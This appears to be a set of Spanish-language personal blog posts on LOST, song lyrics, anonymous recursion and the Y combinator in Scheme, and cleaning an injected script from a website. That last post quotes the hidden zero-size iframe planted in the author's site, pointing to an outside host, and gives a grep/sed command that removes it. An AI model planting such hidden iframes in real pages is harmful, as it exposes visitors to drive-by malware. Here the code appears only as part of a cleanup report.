A semanas de comenzar la 6ta temporada de LOST , me vengo a encontrar mientras cargaba nafta en Alsina y Carbó en Paraná con la Van (camionetita) de Dharma Initiative… ¿Cómo llegó ahÃ? ¿Habrá venido ayer? mmmm… me limité a sacarle fotos por si mis amigos no me creÃan… ¡aunque fÃjense! le falta el Cisne la palabrita Dharma dentro. El cisne era sólo de una de las estaciones.


Milton, no te mueras de la envidia jajaja
Este tema lo escuché nuevamente hace poco tiempo. Me recordó tanto a mi infancia y adolescencia, cuando mi viejo me lo cantaba a cappella, recordando los tiempos en que escuchaba los long play (y los discos que tenÃan un tema por cara). Eriza la piel…
Aquà la letra para que lo disfruten.
De sol a sol
labrando tierra tendrás tu pan.
Todos los rÃos van al mar
pero éste nunca se llenará.
Todos los rÃos
siempre volverán a donde salieron
para comenzar a correr de nuevo.
Lo que siempre fue lo mismo será,
lo que siempre hicieron repetirán.
No olvidar
lo que ves ya se ha visto ya,
tal vez un dÃa lo sabrás
todo tiene un tiempo bajo el sol.
Porque habrá siempre
tiempo de plantar y de cosechar
tiempo de hablar, también de callar.
Hay tiempo para guerra y tiempo de paz
tiempo para el tiempo y un rato más.
Buenas y malas son
cosas que vivo hoy.
No es esta tierra, no
sueño color azul.
¿No es quizás que no se mirar?
¿Cuánto, cuánto hay a mi alrededor?
Más de lo que mis ojos pueden mirar
y llegar a ver.
Estas son razones que dicen que:
sólo sé
que sé querer
y que tengo Dios
y tengo fe
y que doy amor
y puedo ser
Sé que en algún lugar
alguien me espera hoy.
Sé que ahora tengo yo
alguien a quien buscar.
¿No es quizás que no se mirar?
¿Cuánto, cuánto hay a mi alrededor?
Más de lo que mis ojos pueden mirar
y llegar a ver.
Estas son razones que dicen que:
sólo sé
que sé querer
y que tengo Dios
y tengo fe
y que doy amor
y puedo ser.
Hace un tiempo ya que estoy dando clases como ayudante en Paradigmas de Programación. En dicha cátedra se pretende que el alumno tenga una visión con la cuál contemple los problemas a resolver con el paradigma más adecuado. Hay cosas que modelarlas orientadas a objetos o en objetos con Smalltalk, son mucho más sencillas que pensando en el paradigma imperativo. O problemas netamente lógicos, con soluciones recursivas e incluso de naturaleza declarativa, se resuelven mejor con el paradigma lógico, son swi-prolog por ejemplo.
Cabe destacar que los paradigmas, como la palabra lo indica, es una forma de pensar, un patrón, un modelo. Es independiente del lenguaje que usemos. Sin embargo, intentar programar orientado a objetos en C, puede ser más complicado que en C++, en Java o Smalltalk. Lo mismo con el lógico y con el funcional.
Por ejemplo, una de las caracterÃsticas del paradigma funcional, es que se basa en el cálculo lambda. Mediante el cálculo lambda puedo definir abstracciones funcionales, las cuales no necesitan tener nombre si sólo quiero evaluarlas una vez. Puedo hacerlo de la forma
( (lambda (x) (* x x) ) 10)
obteniendo el cuadrado del número.
Luego de la corta introducción, voy al problema que intenté resolver luego de una charla con un docente de la cátedra. En general cuando uno plantea una función recursiva, necesita de un nombre en la función para referenciarla. Por ejemplo:
sumatoria(L):
si vacia L luego
0
sino
cabeza(L) + sumatoria( cola (L) )
Si quisiera aprovechar lo que me provee el paradigma funcional, el cálculo lambda para abstraer dicha función recursiva para generar otras, me encontrarÃa con el problema que necesito hacer referencia al nombre. Eso podrÃa solucionarlo definiendo varios nombres de funciones. Ej:
(define reduce ( lambda (f d L)
(if (null? L)
d
(f (car L) (reduce f d (cdr L) ) )
)
)
)
(define productoria ( lambda (L) ( reduce * 1 L) ) )
(productoria '(1 2 3 4 5))
Sin embargo sigo atado al espacio de nombres. ¿PodrÃa definir de alguna manera una recursión sin necesitar de un espacio de nombres?
Para esto, pensé en unas soluciones posibles, quizá alguno tenga otras o se le ocurran otras en base a estas.
PodrÃa definir una función, cuyos argumentos son una lista de números (o lo que necesite) y además una copia de si misma. Por ejemplo, veamos la siguiente abstracción funcional:
(lambda (f L)
(if (null? L)
0
(+ (car L) (f f (cdr L) ) )
)
)
Esta abstracción, recibe como argumento una abstracción funcional (AF) y una lista. La AF que recibe, espera que se pueda aplicar a dos argumentos que, por lo que se puede ver en la definición, deberá ser una AF y una lista. De esta manera obtendré la recursión, si puedo asignar de alguna manera, una copia de sà misma como primer argumento.
Para esto, creo una nueva abstracción funcional, que aplica una AF como la que definimos a sà misma junto con una lista.
((lambda (f L) (f f L)) (lambda (f L)
(if (null? L)
0
(+ (car L) (f f (cdr L)) )
)
) '(1 2 3 4 5))
Da como resultado 15.
Un concepto similar, pero ya con un espacio de nombres serÃa el siguiente:
( define t (lambda (f L)
(if (null? L)
0
(+ (car L) (f f (cdr L)) )
)
) )
(t t '(1 2 3 4 5))
Otra forma de hacerlo, pero utilizando sólo un argumento y siguiendo la misma idea serÃa
(((lambda (f) (f f) ) (lambda (f)
(lambda (L)
(if (null? L)
0
(+ (car L) ((f f) (cdr L)) )
)
)
)) '( 1 2 3 4 5))
Personalmente creo que ésta última forma de declararlo es la más clara y entendible. PodrÃamos abstraer más en este caso la aplicación quitando el valor por defecto 0, y el “+”, obteniendo una función fold o reduce sin nombre
. Leyendo un poco en Internet, luego de un tiempo encontré lo que se conoce como Y combinator.
Más info en http://goodmath.blogspot.com/2006/05/why-oh-why-y.html.
Si tienen alternativas u otras curiosidades que les interese discutir, ¡adelante!
Mini post:
Encontré en uno de los sitios web que mantengo, un código de XSS (cross site scripting). Aún no determiné el punto de entrada, pero me enteré gracias a un mail de Google.
Con grep y sed es bastante sencillo eliminarlo, ni que hablar con un script en Python
Con grep busco los archivos, y con xargs convierto la salida el pipe en un parámetro para sed, y con sed reemplazo el código. Como el código insertado está al final del archivo, la expresión regular hubiese podido ser mucho más sencilla.
grep ./ -l  -R -e "http://reycross.com/lib/index.php"  | xargs sed -i  -e "s/<iframe.*reycross.*>.*<\/iframe>/ /g"
El código a eliminar era este (no agrego los tags de apertura a propósito):
iframe
src="http://reycross.com/lib/index.php" width=0 height=0 style="hidden" framebord
er=0 marginheight=0 marginwidth=0 scrolling=no
iframe
¿Alguien que le haya ocurrido esto?
Según explican en el enlace que les dejo debajo, la respuesta es clara y concisa para la pregunta: ¿Necesitan los sitios web verse igual en cada navegador?
¿Ustedes? ¿Qué opinan?
http://dowebsitesneedtolookexactlythesameineverybrowser.com/
(más claro echale agua)